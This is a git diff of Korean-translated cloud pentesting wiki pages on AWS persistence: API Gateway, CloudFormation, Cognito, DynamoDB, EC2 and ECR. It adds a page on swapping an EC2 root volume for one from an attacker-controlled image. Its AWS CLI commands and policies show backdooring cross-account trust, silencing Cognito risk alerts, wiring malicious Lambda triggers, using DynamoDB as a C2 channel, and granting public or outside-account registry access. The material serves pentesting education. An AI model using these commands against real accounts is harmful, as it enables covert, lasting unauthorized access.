diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md deleted file mode 100644 index aadea1812..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - API Gateway Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -자세한 정보는 다음을 참조하세요: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Resource Policy - -API 게이트웨이의 리소스 정책을 수정하여 자신에게 접근 권한을 부여합니다. - -### Modify Lambda Authorizers - -람다 인증자의 코드를 수정하여 모든 엔드포인트에 대한 접근 권한을 부여합니다.\ -또는 인증자의 사용을 제거합니다. - -### IAM Permissions - -리소스가 IAM 인증자를 사용하는 경우 IAM 권한을 수정하여 자신에게 접근 권한을 부여할 수 있습니다.\ -또는 인증자의 사용을 제거합니다. - -### API Keys - -API 키가 사용되는 경우, 지속성을 유지하기 위해 이를 유출하거나 새 키를 생성할 수 있습니다.\ -또는 API 키의 사용을 제거합니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md new file mode 100644 index 000000000..92c5f0ab0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md @@ -0,0 +1,32 @@ +# AWS - API Gateway Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +자세한 정보는 다음을 참조하세요: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### 리소스 정책 + +Modify the resource policy of the API gateway(s) to grant yourself access to them + +### Lambda Authorizers 수정 + +Modify the code of lambda authorizers to grant yourself access to all the endpoints.\ +Or just remove the use of the authorizer. + +### IAM 권한 + +If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\ +Or just remove the use of the authorizer. + +### API Keys + +If API keys are used, you could leak them to maintain persistence or even create new ones.\ +Or just remove the use of API keys. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md deleted file mode 100644 index 05f9e9c1f..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - Cloudformation Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFormation - -자세한 정보는 다음을 참조하세요: - -{{#ref}} -../aws-services/aws-cloudformation-and-codestar-enum.md -{{#endref}} - -### CDK Bootstrap Stack - -AWS CDK는 `CDKToolkit`이라는 CFN 스택을 배포합니다. 이 스택은 외부 계정이 피해자 계정에 CDK 프로젝트를 배포할 수 있도록 하는 `TrustedAccounts`라는 매개변수를 지원합니다. 공격자는 이를 악용하여 AWS cli를 사용하여 매개변수와 함께 스택을 재배포하거나 AWS CDK cli를 사용하여 피해자 계정에 무기한 접근 권한을 부여할 수 있습니다. -```bash -# CDK -cdk bootstrap --trust 1234567890 - -# AWS CLI -aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md new file mode 100644 index 000000000..e6beab490 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFormation + +For more information, access: + +{{#ref}} +../../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +AWS CDK는 `CDKToolkit`라는 CFN 스택을 배포합니다. 이 스택은 외부 계정이 피해자 계정에 CDK 프로젝트를 배포할 수 있도록 하는 `TrustedAccounts` 파라미터를 지원합니다. 공격자는 이 설정을 악용해 자신에게 피해자 계정에 대한 무기한 접근 권한을 부여할 수 있으며, 이는 파라미터를 변경하여 스택을 재배포하기 위해 AWS cli 또는 AWS CDK cli를 사용하는 방식으로 수행할 수 있습니다. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md deleted file mode 100644 index eb6351f31..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - Cognito Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -자세한 정보는 다음을 참조하세요: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### 사용자 지속성 - -Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉토리를 제어할 수 있는 서비스입니다. 일부 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성은 다음과 같습니다: - -- **사용자가 제어하는 사용자 풀**을 아이덴티티 풀에 추가 -- 인증되지 않은 아이덴티티 풀에 **IAM 역할을 부여하고 기본 인증 흐름을 허용** -- 공격자가 로그인할 수 있는 경우 **인증된 아이덴티티 풀**에 -- 주어진 역할의 **권한을 개선** -- **사용자 풀**에서 속성이 제어하는 사용자 또는 새로운 사용자를 통해 **생성, 검증 및 권한 상승** -- **외부 아이덴티티 공급자**가 사용자 풀 또는 아이덴티티 풀에 로그인할 수 있도록 허용 - -이 작업을 수행하는 방법은 다음에서 확인하세요 - -{{#ref}} -../aws-privilege-escalation/aws-cognito-privesc.md -{{#endref}} - -### `cognito-idp:SetRiskConfiguration` - -이 권한을 가진 공격자는 위험 구성을 수정하여 **알람이 발생하지 않고** Cognito 사용자로 로그인할 수 있습니다. [**CLI를 확인하세요**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) 모든 옵션을 확인하려면: -```bash -aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} -``` -기본적으로 이것은 비활성화되어 있습니다: - -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md new file mode 100644 index 000000000..c0bcae0e0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md @@ -0,0 +1,40 @@ +# AWS - Cognito 지속성 + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### 사용자 지속성 + +Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉터리를 관리할 수 있는 서비스입니다. 일부 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성은 다음과 같습니다: + +- **Adding a User Pool** 사용자가 제어하는 User Pool을 Identity Pool에 추가 +- 인증되지 않은 Identity Pool에 **IAM role**을 부여하고 **Basic auth flow**를 허용 +- 또는 공격자가 로그인할 수 있다면 **authenticated Identity Pool**에 부여 +- 또는 주어진 역할의 **권한을 향상** +- **Create, verify & privesc**를 속성이 제어되는 사용자 또는 **User Pool**의 새 사용자를 통해 수행 +- **Allowing external Identity Providers**를 User Pool 또는 Identity Pool에서 로그인할 수 있도록 허용 + +이 작업들을 수행하는 방법은 다음에서 확인하세요: + +{{#ref}} +../../aws-privilege-escalation/aws-cognito-privesc/README.md +{{#endref}} + +### `cognito-idp:SetRiskConfiguration` + +이 권한을 가진 공격자는 위험 구성(risk configuration)을 수정하여 알람이 트리거되지 않은 상태에서 Cognito 사용자로 로그인할 수 있습니다. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: +```bash +aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} +``` +기본적으로 이 기능은 비활성화되어 있습니다: + +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md deleted file mode 100644 index a0ecedda4..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ /dev/null @@ -1,59 +0,0 @@ -# AWS - DynamoDB Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -### DynamoDB - -자세한 정보는 다음을 참조하십시오: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### Lambda 백도어가 있는 DynamoDB 트리거 - -DynamoDB 트리거를 사용하여 공격자는 테이블에 악성 Lambda 함수를 연결하여 **은밀한 백도어**를 생성할 수 있습니다. 항목이 추가, 수정 또는 삭제될 때 Lambda 함수가 트리거되어 공격자가 AWS 계정 내에서 임의의 코드를 실행할 수 있습니다. -```bash -# Create a malicious Lambda function -aws lambda create-function \ ---function-name MaliciousFunction \ ---runtime nodejs14.x \ ---role \ ---handler index.handler \ ---zip-file fileb://malicious_function.zip \ ---region - -# Associate the Lambda function with the DynamoDB table as a trigger -aws dynamodbstreams describe-stream \ ---table-name TargetTable \ ---region - -# Note the "StreamArn" from the output -aws lambda create-event-source-mapping \ ---function-name MaliciousFunction \ ---event-source \ ---region -``` -지속성을 유지하기 위해 공격자는 DynamoDB 테이블에서 항목을 생성하거나 수정할 수 있으며, 이는 악성 Lambda 함수를 트리거합니다. 이를 통해 공격자는 Lambda 함수와 직접 상호작용하지 않고도 AWS 계정 내에서 코드를 실행할 수 있습니다. - -### DynamoDB를 C2 채널로 사용하기 - -공격자는 명령을 포함하는 항목을 생성하고 손상된 인스턴스나 Lambda 함수를 사용하여 이러한 명령을 가져오고 실행함으로써 DynamoDB 테이블을 **명령 및 제어(C2) 채널**로 사용할 수 있습니다. -```bash -# Create a DynamoDB table for C2 -aws dynamodb create-table \ ---table-name C2Table \ ---attribute-definitions AttributeName=CommandId,AttributeType=S \ ---key-schema AttributeName=CommandId,KeyType=HASH \ ---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ ---region - -# Insert a command into the table -aws dynamodb put-item \ ---table-name C2Table \ ---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ ---region -``` -손상된 인스턴스나 Lambda 함수는 주기적으로 C2 테이블에서 새로운 명령을 확인하고, 이를 실행하며, 선택적으로 결과를 테이블에 다시 보고할 수 있습니다. 이를 통해 공격자는 손상된 리소스에 대한 지속성과 제어를 유지할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md new file mode 100644 index 000000000..083154226 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md @@ -0,0 +1,59 @@ +# AWS - DynamoDB Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +### DynamoDB + +자세한 정보는 다음을 참조하세요: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### DynamoDB Triggers with Lambda Backdoor + +DynamoDB 트리거를 사용하면 공격자는 악성 Lambda 함수를 테이블에 연결하여 **은밀한 backdoor**를 생성할 수 있습니다. 항목이 추가, 수정 또는 삭제될 때 Lambda 함수가 트리거되어 공격자가 AWS 계정 내에서 임의의 코드를 실행할 수 있게 합니다. +```bash +# Create a malicious Lambda function +aws lambda create-function \ +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region + +# Associate the Lambda function with the DynamoDB table as a trigger +aws dynamodbstreams describe-stream \ +--table-name TargetTable \ +--region + +# Note the "StreamArn" from the output +aws lambda create-event-source-mapping \ +--function-name MaliciousFunction \ +--event-source \ +--region +``` +지속성을 유지하기 위해, 공격자는 DynamoDB 테이블에 항목을 생성하거나 수정할 수 있으며, 이는 악성 Lambda 함수를 트리거합니다. 이렇게 하면 공격자는 Lambda 함수와 직접 상호작용하지 않고도 AWS 계정 내에서 코드를 실행할 수 있습니다. + +### DynamoDB를 C2 채널로 + +공격자는 명령을 포함한 항목을 생성하고 침해된 인스턴스나 Lambda 함수를 사용해 이러한 명령을 가져와 실행함으로써 DynamoDB 테이블을 **command and control (C2) channel**로 사용할 수 있습니다. +```bash +# Create a DynamoDB table for C2 +aws dynamodb create-table \ +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region + +# Insert a command into the table +aws dynamodb put-item \ +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region +``` +침해된 인스턴스 또는 Lambda 함수는 주기적으로 C2 테이블을 확인하여 새로운 명령을 실행하고, 선택적으로 결과를 테이블에 보고할 수 있습니다. 이를 통해 공격자는 침해된 리소스에 대한 지속성과 제어를 유지할 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md deleted file mode 100644 index 7748f5339..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ /dev/null @@ -1,54 +0,0 @@ -# AWS - EC2 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### Security Group Connection Tracking Persistence - -수비수가 **EC2 인스턴스가 침해되었다**고 판단하면, 그는 아마도 **네트워크**를 **격리**하려고 할 것입니다. 그는 명시적인 **Deny NACL**을 사용하거나 (하지만 NACL은 전체 서브넷에 영향을 미침), **보안 그룹을 변경하여** **모든 종류의 인바운드 또는 아웃바운드** 트래픽을 허용하지 않을 수 있습니다. - -공격자가 **기계에서 발생한 리버스 셸**을 가지고 있었다면, SG가 인바운드 또는 아웃바운드 트래픽을 허용하지 않도록 수정되더라도, **연결은** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**로 인해 종료되지 않을 것입니다.** - -### EC2 Lifecycle Manager - -이 서비스는 **AMI 및 스냅샷의 생성**을 **예약**하고 심지어 **다른 계정과 공유**할 수 있게 해줍니다.\ -공격자는 **모든 이미지 또는 모든 볼륨의 AMI 또는 스냅샷 생성을** **매주** 예약하고 **자신의 계정과 공유**할 수 있습니다. - -### Scheduled Instances - -인스턴스를 매일, 매주 또는 심지어 매월 실행하도록 예약할 수 있습니다. 공격자는 높은 권한이나 흥미로운 접근이 가능한 기계를 실행할 수 있습니다. - -### Spot Fleet Request - -스팟 인스턴스는 **정규 인스턴스보다 저렴**합니다. 공격자는 **5년 동안의 작은 스팟 플릿 요청**을 시작할 수 있으며 (예를 들어), **자동 IP** 할당과 **스팟 인스턴스가 시작될 때 공격자에게 전송되는 사용자 데이터**를 포함할 수 있습니다. **IP 주소**와 함께 **높은 권한의 IAM 역할**을 사용할 수 있습니다. - -### Backdoor Instances - -공격자는 인스턴스에 접근하여 백도어를 설치할 수 있습니다: - -- 전통적인 **루트킷** 사용 예 -- 새로운 **공개 SSH 키** 추가 (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) -- **사용자 데이터**에 백도어 추가 - -### **Backdoor Launch Configuration** - -- 사용된 AMI에 백도어 추가 -- 사용자 데이터에 백도어 추가 -- 키 쌍에 백도어 추가 - -### VPN - -공격자가 VPC에 직접 연결할 수 있도록 VPN을 생성합니다. - -### VPC Peering - -피해자 VPC와 공격자 VPC 간의 피어링 연결을 생성하여 공격자가 피해자 VPC에 접근할 수 있도록 합니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md new file mode 100644 index 000000000..41c0714db --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md @@ -0,0 +1,62 @@ +# AWS - EC2 영속성 + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### Security Group Connection Tracking Persistence + +방어자가 **EC2 instance was compromised**를 발견하면 그는 아마도 해당 머신의 **네트워크를 격리**하려고 할 것입니다. 이것은 명시적인 **Deny NACL**(단, NACLs는 전체 서브넷에 영향을 줌)이나 **security group을 변경해** **어떤 종류의 inbound 또는 outbound** 트래픽도 허용하지 않도록 설정하는 방식으로 할 수 있습니다. + +만약 공격자가 머신에서 시작된 **reverse shell originated from the machine**을 보유하고 있다면, SG가 inbound 또는 outbound 트래픽을 허용하지 않도록 수정되더라도 [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**에 의해 연결은 종료되지 않습니다.** + +### EC2 Lifecycle Manager + +이 서비스는 **AMIs and snapshots의 생성**을 **스케줄**하고 심지어 **다른 계정과 공유**할 수 있게 해줍니다.\ +공격자는 모든 이미지나 모든 볼륨의 **AMIs 또는 snapshots 생성**을 매주로 예약하고 이를 **자신의 계정과 공유**하도록 구성할 수 있습니다. + +### Scheduled Instances + +인스턴스를 일별, 주별 또는 월별로 실행되도록 예약할 수 있습니다. 공격자는 높은 권한이나 흥미로운 접근 권한이 있는 머신을 예약 실행해 접근할 수 있습니다. + +### Spot Fleet Request + +Spot instances는 일반 인스턴스보다 **저렴**합니다. 공격자는 예를 들어 **5 year 동안의 작은 spot fleet request**를 시작하고, **자동 IP** 할당과 함께 **user data**에 스팟 인스턴스가 시작될 때 공격자에게 **IP address**를 전송하도록 설정하고, **high privileged IAM role**을 부여할 수 있습니다. + +### Backdoor Instances + +공격자는 인스턴스에 접근한 뒤 backdoor를 심을 수 있습니다: + +- Using a traditional **rootkit** for example +- Adding a new **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md)) +- Backdooring the **User Data** + +### **Backdoor Launch Configuration** + +- Backdoor the used AMI +- Backdoor the User Data +- Backdoor the Key Pair + +### EC2 ReplaceRootVolume Task (Stealth Backdoor) + +실행 중인 인스턴스의 루트 EBS 볼륨을 공격자가 제어하는 AMI 또는 snapshot에서 생성된 것으로 교체하는 작업을 `CreateReplaceRootVolumeTask`를 사용해 수행할 수 있습니다. 인스턴스는 ENIs, IPs, 및 역할을 유지하므로 외형상 변경이 없어 보이면서 악성 코드로 부팅됩니다. + +{{#ref}} +../aws-ec2-replace-root-volume-persistence/README.md +{{#endref}} + +### VPN + +공격자가 VPC에 직접 연결할 수 있도록 VPN을 생성합니다. + +### VPC Peering + +피해자 VPC와 공격자 VPC 사이에 peering connection을 생성해 공격자가 피해자 VPC에 접근할 수 있게 합니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md new file mode 100644 index 000000000..a58faa7d4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence) + +{{#include ../../../../banners/hacktricks-training.md}} + +공격자는 **ec2:CreateReplaceRootVolumeTask**를 악용해 실행 중인 인스턴스의 루트 EBS 볼륨을 공격자가 제어하는 AMI 또는 snapshot에서 복원한 볼륨으로 교체할 수 있습니다. 인스턴스는 자동으로 재부팅되며 ENIs, private/public IPs, 연결된 non-root 볼륨 및 인스턴스 metadata/IAM role을 유지한 채 공격자가 제어하는 루트 파일시스템으로 다시 시작됩니다. + +## 요구사항 +- 대상 인스턴스는 EBS 기반이며 동일한 리전에서 실행 중이어야 합니다. +- 호환 가능한 AMI 또는 snapshot: 대상 인스턴스와 동일한 아키텍처/가상화/부팅 모드(및 제품 코드가 있는 경우 동일). + +## 사전 점검 +```bash +REGION=us-east-1 +INSTANCE_ID= + +# Ensure EBS-backed +aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text + +# Capture current network and root volume +ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text) +ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) +PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text) +ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text) +``` +## AMI에서 루트 교체 (권장) +```bash +IMAGE_ID= + +# Start task +TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text) + +# Poll until state == succeeded +while true; do +STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text) +echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10; +done +``` +스냅샷을 사용하는 대안: +```bash +SNAPSHOT_ID= +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID +``` +## 증거 / 검증 +```bash +# Instance auto-reboots; network identity is preserved +NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) + +# Compare before vs after +printf "ENI:%s IP:%s +ORIG_VOL:%s +NEW_VOL:%s +" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL" + +# (Optional) Inspect task details and console output +aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json +aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text +``` +Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot. + +## 노트 +- API는 인스턴스를 수동으로 중지할 필요가 없습니다; EC2가 재부팅을 자동으로 처리합니다. +- 기본적으로 교체된(기존) 루트 EBS 볼륨은 분리되어 계정에 남겨집니다 (DeleteReplacedRootVolume=false). 이는 롤백에 사용할 수 있으며 비용을 피하려면 삭제해야 합니다. + +## 롤백 / 정리 +```bash +# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"), +# you can create a snapshot and replace again from it: +SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text) +aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP + +# Or simply delete the detached old root volume if not needed: +aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md deleted file mode 100644 index 7b22b2da8..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - ECR Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### 악성 코드가 포함된 숨겨진 Docker 이미지 - -공격자는 **악성 코드가 포함된 Docker 이미지를** ECR 리포지토리에 업로드하고 이를 사용하여 대상 AWS 계정에서 지속성을 유지할 수 있습니다. 그런 다음 공격자는 Amazon ECS 또는 EKS와 같은 계정 내의 다양한 서비스에 악성 이미지를 은밀하게 배포할 수 있습니다. - -### 리포지토리 정책 - -리포지토리에 대한 액세스를 자신(또는 모든 사람)에게 부여하는 정책을 단일 리포지토리에 추가하세요: -```bash -aws ecr set-repository-policy \ ---repository-name cluster-autoscaler \ ---policy-text file:///tmp/my-policy.json - -# With a .json such as - -{ -"Version" : "2008-10-17", -"Statement" : [ -{ -"Sid" : "allow public pull", -"Effect" : "Allow", -"Principal" : "*", -"Action" : [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -> [!WARNING] -> ECR는 사용자가 **인증**을 위해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 IAM 정책을 통해 가져야 한다는 점에 유의하십시오. 이를 통해 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 푸시하거나 풀 수 있습니다. - -### 레지스트리 정책 및 크로스 계정 복제 - -외부 계정에서 레지스트리를 자동으로 복제하는 것이 가능하며, 이 경우 레지스트리를 복제할 외부 계정을 **지정해야** 합니다. - -
- -먼저, 외부 계정에 **레지스트리 정책**을 통해 레지스트리에 대한 액세스를 부여해야 합니다: -```bash -aws ecr put-registry-policy --policy-text file://my-policy.json - -# With a .json like: - -{ -"Sid": "asdasd", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::947247140022:root" -}, -"Action": [ -"ecr:CreateRepository", -"ecr:ReplicateImage" -], -"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" -} -``` -그런 다음 복제 구성을 적용합니다: -```bash -aws ecr put-replication-configuration \ ---replication-configuration file://replication-settings.json \ ---region us-west-2 - -# Having the .json a content such as: -{ -"rules": [{ -"destinations": [{ -"region": "destination_region", -"registryId": "destination_accountId" -}], -"repositoryFilters": [{ -"filter": "repository_prefix_name", -"filterType": "PREFIX_MATCH" -}] -}] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md new file mode 100644 index 000000000..6e33cd0b7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md @@ -0,0 +1,145 @@ +# AWS - ECR Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Hidden Docker Image with Malicious Code + +공격자는 ECR 리포지토리에 **malicious code를 포함한 Docker 이미지를 업로드**하여 대상 AWS 계정에서 persistence를 유지할 수 있습니다. 그런 다음 공격자는 Amazon ECS나 EKS와 같은 계정 내의 다양한 서비스에 해당 악성 이미지를 은밀하게 배포할 수 있습니다. + +### 리포지토리 정책 + +하나의 리포지토리에 자신(또는 모든 사용자)에게 접근 권한을 부여하는 정책을 추가합니다: +```bash +aws ecr set-repository-policy \ +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json + +# With a .json such as + +{ +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +> [!WARNING] +> ECR는 사용자가 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 push 또는 pull하기 전에, IAM policy를 통해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 가지고 있어야 한다는 점에 유의하세요. + +### 레지스트리 정책 및 크로스-계정 복제 + +cross-account replication을 구성하면 레지스트리를 외부 계정에 자동으로 복제할 수 있으며, 이때 레지스트리를 복제하려는 외부 계정을 **명시**해야 합니다. + +
